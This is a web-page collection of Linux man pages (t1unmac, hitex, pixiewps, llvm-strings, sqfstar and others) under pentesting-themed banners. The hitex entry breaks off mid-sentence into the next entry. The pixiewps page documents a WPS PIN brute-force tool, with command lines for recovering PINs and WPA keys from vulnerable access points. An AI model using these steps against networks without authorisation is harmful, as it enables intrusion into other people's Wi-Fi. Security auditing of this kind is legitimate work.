switches=<any RAR switches separated by spaces>

Syntax: (switches for specific command)
switches_<command>=<any RAR switches separated by spaces>

Example:
switches=-m5 -s
switches_a=-m5 -s
switches_x=-o+

AUTHORS

This manual page was written by Petr Cech <[email protected]> according to “unrar” for the Debian GNU/Linux system (but may be used by others).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

952 - Linux cli command t1unmac

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command t1unmac and provides detailed information about the command t1unmac, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the t1unmac.

NAME 🖥️ t1unmac 🖥️

translate a Mac PostScript Type 1 font into PFA or PFB format

SYNOPSIS

t1unmac [-a|-b] [-r] [input [output]]

DESCRIPTION

t1unmac extracts POST resources from a Macintosh PostScript font file and creates a PFA (hexadecimal) or PFB (binary) font file. The file input should be in MacBinary I or II, AppleSingle, AppleDouble, or BinHex format, or it can be a raw resource fork. If the file is a raw resource fork, you need to give the `–raw’ option; otherwise t1unmac should automatically figure out what kind of file you have. If the file output is not specified output goes to the standard output.

OPTIONS

–pfa, -a
Output in PFA (ASCII) format.

–pfb, -b
Output in PFB (binary) format. This is the default.

–raw, -r
Indicates that the input is a raw resource fork.

–macbinary
Indicates that the input is in MacBinary I or II format.

–applesingle
Indicates that the input is in AppleSingle format.

–appledouble
Indicates that the input is in AppleDouble format.

–binhex
Indicates that the input is in BinHex 4.0 format.

**–block-length=**num, -l num
PFB only: Set the maximum output block length to num. The default length is as large as memory allows.

**–line-length=**num, -l num
PFA only: Set the maximum length of encrypted lines in the output to num. (These are the lines consisting wholly of hexadecimal digits.) The default is 64.

EXAMPLES

On Mac OS X, you can use t1unmac to translate a font into PFA or PFB format as follows:

% t1unmac --raw FONTFILENAME/..namedfork/rsrc > OUTPUT

SEE ALSO

() () () () ()

AUTHORS

Lee Hetherington ([email protected])
Eddie Kohler ([email protected])

Ported to Microsoft C/C++ Compiler and MS-DOS operating system by Kai-Uwe Herbing ([email protected]).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

953 - Linux cli command hitex

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command hitex and provides detailed information about the command hitex, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the hitex.

NAME 🖥️ hitex 🖥️

HINT output from TeX

SYNOPSIS

hitex [options] [*&format] [file|*commands]

DESCRIPTION

Run the HiTeX typesetter on file, usually creating file.hnt. If the file argument has no extension, “.tex” will be appended to it. Instead of a file name, a set of HiTeX commands can be given, the first of which must start with a backslash. With a &format argument HiTeX uses a different set of precompiled commands, contained in format.fmt; it is usually better to use the -fmt format option instead.

HiTeX is a version of TeX that creates HINT files. The HINT file format is designed for on-screen reading of documents. Using a HINT viewer (see https://hint.userweb.mwn.de) to display a HINT file its content will dynamically adapt to the available display area.

The typical use of HiTeX is with pre generated formats. The hitex command uses the equivalent of the plain TeX format, and the hilatex command uses the equivalent of the LaTeX format. To generate formats, use the -ini switch.

HiTeX’s handling of its command-line arguments is similar to that of of the other TeX programs in the web2c implementation.

HiTeX incorporates the e-TeX extensions (see etex(1)) if used with the -etex switch.

HiTeX incorporates the extensions needed for LaTeX (see latex(1)) if used with the -ltx switch.

OPTIONS

This version of HiTeX understands the following command line options.

-cnf-line* string*
Parse string as a texmf.cnf configuration line. See the Kpathsea manual.

-compress
Enable the use of compression for the HINT file. Compressed files are smaller but require decompression when viewing. Use only for large files if the file size matters.

-empty-page
When writing books, often empty pages are inserted - for example to begin chapters on a right hand side page. These empty pages are a nuisance for on-screen reading where there are no left or right hand side pages. This option keeps empty pages in the output.

-no-empty-page
This option tries to eliminate empty pages in the output. It is set as a default.

-etex
Enable the e-TeX extensions. This option is only effective in combination with -ini. See etex(1).

-file-line-error
Print error messages in the form file:line:error which is similar to the way many compilers format them.

-no-file-line-error
Disable printing error messages in the file:line:error style.

-fmt* format*
Use format as the name of the format to be used, instead of the name by which HiTeX was called or a %& line.

-help
Print help message and exit.

-hint-debug* bitmask*
Sets HINT file debugging flags according to the bitmask. See the -hint-debug-help option for details.

-hint-debug-help
Print an explanation of the HINT debugging flags and exit.

-hyphenate-first-word
TeX will usually not attempt to insert hyphenation points into the first word of a paragraph. If a HINT file must be displayed on a very small device such hyphenation points might prove necessary. This option is set by default and enables the generation of these hyphenation points.

-no-hyphenate-first-word
Disable the automatic insertion of hyphenation points in the first word of a paragraph. Needed only if complete compatibility with TeX is required.

-ini
Start in INI mode, which is used to dump formats. The INI mode can be used for typesetting, but no format is preloaded, and basic initializations like setting catcodes may be required.

-interaction* mode*
Sets the interaction mode. The mode can be either batchmode, nonstopmode, scrollmode, and errorstopmode. The meaning of these modes is the same as that of the corresponding

954 - Linux cli command pixiewps

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pixiewps and provides detailed information about the command pixiewps, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pixiewps.

NAME 🖥️ pixiewps 🖥️

Offline Wi-Fi Protected Setup bruteforce tool

DESCRIPTION

Pixiewps is a tool written in C used to bruteforce offline the WPS PIN method exploiting the low or non-existing entropy of some Access Points, the so-called “pixie-dust attack”.

It is meant for educational purposes only.

SYNOPSIS

pixiewps <arguments>

ARGUMENTS

REQUIRED ARGUMENTS

-e, –pke

Enrollee’s DH public key, found in M1.

-r, –pkr

Registrar’s DH public key, found in M2. It can be avoided by specifying –dh-small in both Reaver and pixiewps.

pixiewps -e <pke> -s <e-hash1> -z <e-hash2> -a <authkey> -n <e-nonce> -S

-s, –e-hash1

Enrollee’s hash 1, found in M3. It’s the hash of the first half of the PIN.

-z, –e-hash2

Enrollee’s hash 2, found in M3. It’s the hash of the second half of the PIN.

-a, –authkey

Authentication session key. Although for this parameter a modified version of Reaver or Bully is needed, it can be avoided by specifying small Diffie-Hellman keys in both Reaver and pixiewps and supplying –e-nonce, –r-nonce and –e-bssid.

pixiewps -e <pke> -s <e-hash1> -z <e-hash2> -S -n <e-nonce> -m <r-nonce> -b <e-bssid>

-n, –e-nonce

Enrollee’s nonce, found in M1.

OPTIONAL ARGUMENTS

-m, –r-nonce

Registrar’s nonce, found in M2. Used with other parameters to compute the session keys.

-b, –e-bssid

Enrollee’s BSSID. Used with other parameters to compute the session keys.

-S, –dh-small (deprecated)

Small Diffie-Hellman keys. The same option must be specified in Reaver too. Some Access Points seem to be buggy and don’t behave correctly with this option. Avoid using it with Reaver when possible.

-v, –verbosity

Verbosity level 1-3, 1 is quietest, default is 3.

-h

Display a simple help usage screen.

–help

Display verbose help.

-V, –version

Display version and other information.

–mode N[,… N]

Select modes, comma separated (experimental modes are not used unless specified):

1 - RT/MT/CL

2 - eCos simple

3 - RTL819x

4 - eCos simplest [Experimental]

5 - eCos Knuth [Experimental]

–start [mm/]yyyy

–end [mm/]yyyy

Starting and ending dates for mode 3, they are interchangeable.

If only one is specified, the current time will be used for the other. The earliest possible date is 01/1970, corresponding to 0 (Unix epoch time), the latest is 02/2038, corresponding to 0x7FFFFFFF. If –force is used then pixiewps will start from the current time and go back all the way to 0.

MISCELLANEOUS ARGUMENTS

-7, –m7-enc

Encrypted settings, found in M7. Recover Enrollee’s WPA-PSK and secret nonce 2. This feature only works on some Access Points vulnerable to mode 3.

pixiewps -e <pke> -r <pkr> -n <e-nonce> -m <r-nonce> -b <e-bssid> -7 <enc7> –mode 3

-5, –m5-enc

Encrypted settings, found in M5. Recover Enrollee’s secret nonce 1. This option must be used in conjunction with –m7-enc. If –e-hash1 and –e-hash2 are also specified, pixiewps will also recover the WPS PIN.

pixiewps -e <pke> -r <pkr> -n <e-nonce> -m <r-nonce> -b <e-bssid> -7 <enc7> -5 <enc5> –mode 3

pixiewps -e <pke> -r <pkr> -n <e-nonce> -m <r-nonce> -b <e-bssid> -7 <enc7> -5 <enc5> –mode 3 -s <e-hash1> -z <e-hash2>

EXAMPLES

pixiewps –pke <pke> –pkr <pkr> –e-hash1 <e-hash1> –e-hash2 <e-hash2> –authkey <authkey> –e-nonce <e-nonce>

pixiewps -e <pke> -r <pkr> -s <e-hash1> -z <e-hash2> -a <authkey> -n <e-nonce>

AUTHOR

Pixiewps was developed by wiire.

This manual page was written by Daniel Echeverry <[email protected]> and Samuel Henrique <[email protected]> for the Debian project, but can be used by other projects as well.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

955 - Linux cli command pdfatfi

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pdfatfi and provides detailed information about the command pdfatfi, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pdfatfi.

NAME 🖥️ pdfatfi 🖥️

Help program for the LaTeX package attachfile2.

SYNOPSIS

pdfatfi <command> [<options>] <file[.atfi]>]

DESCRIPTION

Helper program for the LaTeX package attachfile2.

This package also tries to get and add meta information data, such as file size, file date, checksum, ….

The script pdfatfi.pl is provided for use with old versions of pdfTeX and XeTeX that do not provide access to file metadata.

The use of the Perl script is not mandatory. This data can be shown by PDF viewers, but they are not a requirement of the PDF specification.

Package attachfile2 and the Perl script communicate via an auxiliary file with file extension .atfi. The script is used between two LaTeX runs and updates the auxiliary file.

latex test
pdfatfi test
latex test
dvips test
ps2pdf test.ps test.pdf

OPTIONS

Various options are supported

–help
Show help text.

–version
Print version number

–(no)quiet
Suppress/don’t suppress messages

–(no)verbose
Verbose (not verbose) printing.

–(no)debug
Debug infomation printed (not printed)

BUGS

Please log issues on the GitHub homepage:
https://github.com/ho-tex/attachfile2/issues.

AUTHOR

Heiko Oberdiek ([email protected])

SEE ALSO

See attachfile2.pdf for more details.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

956 - Linux cli command wsrep_sst_rsync_wan

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command wsrep_sst_rsync_wan and provides detailed information about the command wsrep_sst_rsync_wan, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the wsrep_sst_rsync_wan.

NAME 🖥️ wsrep_sst_rsync_wan 🖥️

rsync_wan (rsync with delta transfers)-based state snapshot transfer

DESCRIPTION

Use: rsync_wan-based state snapshot transfer.

For more information, please refer to the MariaDB Knowledge Base, available online at https://mariadb.com/kb/

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

957 - Linux cli command llvm-diff-17

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command llvm-diff-17 and provides detailed information about the command llvm-diff-17, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the llvm-diff-17.

NAME 🖥️ llvm-diff-17 🖥️

diff - LLVM structural ‘diff’

SYNOPSIS

llvm-diff [options] module 1 module 2 [global name …]

DESCRIPTION

llvm-diff compares the structure of two LLVM modules, primarily focusing on differences in function definitions. Insignificant differences, such as changes in the ordering of globals or in the names of local values, are ignored.

An input module will be interpreted as an assembly file if its name ends in ‘.ll’; otherwise it will be read in as a bitcode file.

If a list of global names is given, just the values with those names are compared; otherwise, all global values are compared, and diagnostics are produced for globals which only appear in one module or the other.

llvm-diff compares two functions by comparing their basic blocks, beginning with the entry blocks. If the terminators seem to match, then the corresponding successors are compared; otherwise they are ignored. This algorithm is very sensitive to changes in control flow, which tend to stop any downstream changes from being detected.

llvm-diff is intended as a debugging tool for writers of LLVM passes and frontends. It does not have a stable output format.

EXIT STATUS

If llvm-diff finds no differences between the modules, it will exit with 0 and produce no output. Otherwise it will exit with a non-zero value.

BUGS

Many important differences, like changes in linkage or function attributes, are not diagnosed.

Changes in memory behavior (for example, coalescing loads) can cause massive detected differences in blocks.

AUTHOR

Maintained by the LLVM Team (https://llvm.org/).

COPYRIGHT

2003-2024, LLVM Project

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

958 - Linux cli command llvm-strings-17

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command llvm-strings-17 and provides detailed information about the command llvm-strings-17, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the llvm-strings-17.

NAME 🖥️ llvm-strings-17 🖥️

strings - print strings

SYNOPSIS

llvm-strings [options] [input…]

DESCRIPTION

llvm-strings is a tool intended as a drop-in replacement for GNU’s strings, which looks for printable strings in files and writes them to the standard output stream. A printable string is any sequence of four (by default) or more printable ASCII characters. The end of the file, or any other byte, terminates the current sequence.

llvm-strings looks for strings in each input file specified. Unlike GNU strings it looks in the entire input file, regardless of file format, rather than restricting the search to certain sections of object files. If “-” is specified as an input, or no input is specified, the program reads from the standard input stream.

EXAMPLE

$ cat input.txt bars foo wibble blob $ llvm-strings input.txt bars wibble blob

OPTIONS

–all, -a
Silently ignored. Present for GNU strings compatibility.

–bytes=<length>, -n
Set the minimum number of printable ASCII characters required for a sequence of bytes to be considered a string. The default value is 4.

–help, -h
Display a summary of command line options.

–print-file-name, -f
Display the name of the containing file before each string.

Example:

$ llvm-strings –print-file-name test.o test.elf test.o: _Z5hellov test.o: some_bss test.o: test.cpp test.o: main test.elf: test.cpp test.elf: test2.cpp test.elf: _Z5hellov test.elf: main test.elf: some_bss

–radix=<radix>, -t
Display the offset within the file of each string, before the string and using the specified radix. Valid <radix> values are o, d and x for octal, decimal and hexadecimal respectively.

Example:

$ llvm-strings –radix=o test.o 1054 _Z5hellov 1066 .rela.text 1101 .comment 1112 some_bss 1123 .bss 1130 test.cpp 1141 main $ llvm-strings –radix=d test.o 556 _Z5hellov 566 .rela.text 577 .comment 586 some_bss 595 .bss 600 test.cpp 609 main $ llvm-strings -t x test.o 22c _Z5hellov 236 .rela.text 241 .comment 24a some_bss 253 .bss 258 test.cpp 261 main

–version
Display the version of the llvm-strings executable.

@<FILE>
Read command-line options from response file <FILE>.

EXIT STATUS

llvm-strings exits with a non-zero exit code if there is an error. Otherwise, it exits with code 0.

BUGS

To report bugs, please visit <https://github.com/llvm/llvm-project/labels/tools:llvm-strings/>.

AUTHOR

Maintained by the LLVM Team (https://llvm.org/).

COPYRIGHT

2003-2024, LLVM Project

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

959 - Linux cli command ptkedp

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ptkedp and provides detailed information about the command ptkedp, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ptkedp.

NAME 🖥️ ptkedp 🖥️

an editor in Perl/Tk

SYNOPSIS

ptked [-server] [-encoding encoding] [-geometry geometry] [file-to-edit]

DESCRIPTION

ptked is a simple text editor based on perl/Tk’s TextUndo widget.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

960 - Linux cli command sqfstar

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command sqfstar and provides detailed information about the command sqfstar, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the sqfstar.

NAME 🖥️ sqfstar 🖥️

tool to create a squashfs filesystem from a tar archive

SYNOPSIS

cat xxx.tar | sqfstar [OPTIONS] FILESYSTEM [exclude files] zcat xxx.tgz | sqfstar [OPTIONS] FILESYSTEM [exclude files] xzcat xxx.tar.xz | sqfstar [OPTIONS] FILESYSTEM [exclude files] zstdcat xxx.tar.zst | sqfstar [OPTIONS] FILESYSTEM [exclude files]

DESCRIPTION

Squashfs is a highly compressed read-only filesystem for Linux. It uses either gzip/xz/lzo/lz4/zstd compression to compress both files, inodes and directories. Inodes in the system are very small and all blocks are packed to minimise data overhead. Block sizes greater than 4K are supported up to a maximum of 1Mbytes (default block size 128K).

Squashfs is intended for general read-only filesystem use, for archival use (i.e. in cases where a .tar.gz file may be used), and in constrained block device/memory systems (e.g. embedded systems) where low overhead is needed.

OPTIONS

Filesystem compression options:

-b BLOCK_SIZE
set data block to BLOCK_SIZE. Default 128 Kbytes. Optionally a suffix of K or M can be given to specify Kbytes or Mbytes respectively.

-comp COMP
select COMP compression. Compressors available: gzip (default), lzo, lz4, xz, zstd, lzma.

-noI
do not compress inode table.

-noId
do not compress the uid/gid table (implied by -noI).

-noD
do not compress data blocks.

-noF
do not compress fragment blocks.

-noX
do not compress extended attributes.

-no-compression
do not compress any of the data or metadata. This is equivalent to specifying -noI -noD -noF and -noX.

Filesystem build options:

-reproducible
build filesystems that are reproducible (default).

-not-reproducible
build filesystems that are not reproducible.

-mkfs-time TIME
set filesystem creation timestamp to TIME. TIME can be an unsigned 32-bit int indicating seconds since the epoch (1970-01-01) or a string value which is passed to the “date” command to parse. Any string value which the date command recognises can be used such as “now”, “last week”, or “Wed Feb 15 21:02:39 GMT 2023”.

-all-time TIME
set all file timestamps to TIME. TIME can be an unsigned 32-bit int indicating seconds since the epoch (1970-01-01) or a string value which is passed to the “date” command to parse. Any string value which the date command recognises can be used such as “now”, “last week”, or “Wed Feb 15 21:02:39 GMT 2023”.

-root-time TIME
set root directory time to TIME. TIME can be an unsigned 32-bit int indicating seconds since the epoch (1970-01-01) or a string value which is passed to the “date” command to parse. Any string value which the date command recognises can be used such as “now”, “last week”, or “Wed Feb 15 21:02:39 GMT 2023”.

-root-mode MODE
set root directory permissions to octal MODE.

-root-uid VALUE
set root directory owner to specified VALUE, VALUE can be either an integer uid or user name.

-root-gid VALUE
set root directory group to specified VALUE, VALUE can be either an integer gid or group name.

-all-root
make all files owned by root.

-force-uid VALUE
set all file uids to specified VALUE, VALUE can be either an integer uid or user name.

-force-gid VALUE
set all file gids to specified VALUE, VALUE can be either an integer gid or group name.

-default-mode MODE
tar files often do not store permissions for intermediate directories. This option sets the default directory permissions to octal MODE, rather than 0755. This also sets the root inode mode.

-default-uid UID
tar files often do not store uids for intermediate directories. This option sets the default directory owner to UID, rather than the user running Sqfstar. This also sets the root inode uid.

-default-gid GID
tar files often do not store gids for intermediate directories. This option sets the default directory group to GID, rather than the group of the user running Sqfstar. This also sets the root inode gid.

-pseudo-override
make pseudo file uids and gids override -all-root, -force-uid and -force-gid options.

-exports
make the filesystem exportable via NFS.

-no-sparse
do not detect sparse files.

-no-fragments
do not use fragments.

-no-tailends
do not pack tail ends into fragments.

-no-duplicates
do not perform duplicate checking.

-no-hardlinks
do not hardlink files, instead store duplicates.

Filesystem filter options:

-p PSEUDO-DEFINITION
add pseudo file definition. The definition should be quoted.

-pf PSEUDO-FILE
add list of pseudo file definitions. Pseudo file definitions in pseudo-files should not be quoted.

-ef EXCLUDE_FILE
list of exclude dirs/files. One per line.

-regex
allow POSIX regular expressions to be used in exclude dirs/files.

-ignore-zeros
allow tar files to be concatenated together and fed to Sqfstar. Normally a tarfile has two consecutive 512 byte blocks filled with zeros which means EOF and Sqfstar will stop reading after the first tar file on encountering them. This option makes Sqfstar ignore the zero filled blocks.

Filesystem extended attribute (xattrs) options:

-no-xattrs
do not store extended attributes.

-xattrs
store extended attributes (default).

-xattrs-exclude REGEX
exclude any xattr names matching REGEX. REGEX is a POSIX regular expression, e.g. -xattrs-exclude ‘^user.’ excludes xattrs from the user namespace.

-xattrs-include REGEX
include any xattr names matching REGEX. REGEX is a POSIX regular expression, e.g. -xattrs-include ‘^user.’ includes xattrs from the user namespace.

-xattrs-add NAME=VAL
add the xattr NAME with VAL to files. If an user xattr it will be added to regular files and directories (see man 7 xattr). Otherwise it will be added to all files. VAL by default will be treated as binary (i.e. an uninterpreted byte sequence), but it can be prefixed with 0s, where it will be treated as base64 encoded, or prefixed with 0x, where val will be treated as hexidecimal. Additionally it can be prefixed with 0t where this encoding is similar to binary encoding, except backslashes are specially treated, and a backslash followed by 3 octal digits can be used to encode any ASCII character, which obviously can be used to encode control codes. The option can be repeated multiple times to add multiple xattrs.

Sqfstar runtime options:

-version
print version, licence and copyright message.

-force
force Sqfstar to write to block device or file.

-exit-on-error
treat normally ignored errors as fatal.

-quiet
no verbose output.

-info
print files written to filesystem.

-no-progress
do not display the progress bar.

-progress
display progress bar when using the -info option.

-percentage
display a percentage rather than the full progress bar. Can be used with dialog –gauge etc.

-throttle PERCENTAGE
throttle the I/O input rate by the given percentage. This can be used to reduce the I/O and CPU consumption of Sqfstar.

-limit PERCENTAGE
limit the I/O input rate to the given percentage. This can be used to reduce the I/O and CPU consumption of Sqfstar (alternative to -throttle).

-processors NUMBER
use NUMBER processors. By default will use number of processors available.

-mem SIZE
use SIZE physical memory for caches. Use K, M or G to specify Kbytes, Mbytes or Gbytes respectively.

-mem-percent PERCENT
use PERCENT physical memory for caches. Default 25%.

-mem-default
print default memory usage in Mbytes.

Expert options (these may make the filesystem unmountable):

-nopad
do not pad filesystem to a multiple of 4K.

-offset OFFSET
skip OFFSET bytes at the beginning of FILESYSTEM. Optionally a suffix of K, M or G can be given to specify Kbytes, Mbytes or Gbytes respectively. Default 0 bytes.

-o OFFSET
synonym for -offset.

Miscellaneous options:

-fstime TIME
alternative name for mkfs-time.

-root-owned
alternative name for -all-root.

-noInodeCompression
alternative name for -noI.

-noIdTableCompression
alternative name for -noId.

-noDataCompression
alternative name for -noD.

-noFragmentCompression
alternative name for -noF.

-noXattrCompression
alternative name for -noX.

-help
output this options text to stdout.

-h
output this options text to stdout.

-Xhelp
print compressor options for selected compressor.

PSEUDO FILE DEFINITION FORMAT

-p “filename d mode uid gid”
create a directory.

-p “filename m mode uid gid”
modify filename.

-p “filename b mode uid gid major minor”
create a block device.

-p “filename c mode uid gid major minor”
create a character device.

-p “filename f mode uid gid command”
create file from stdout of command.

-p “filename s mode uid gid symlink”
create a symbolic link.

-p “filename i mode uid gid [s|f]”
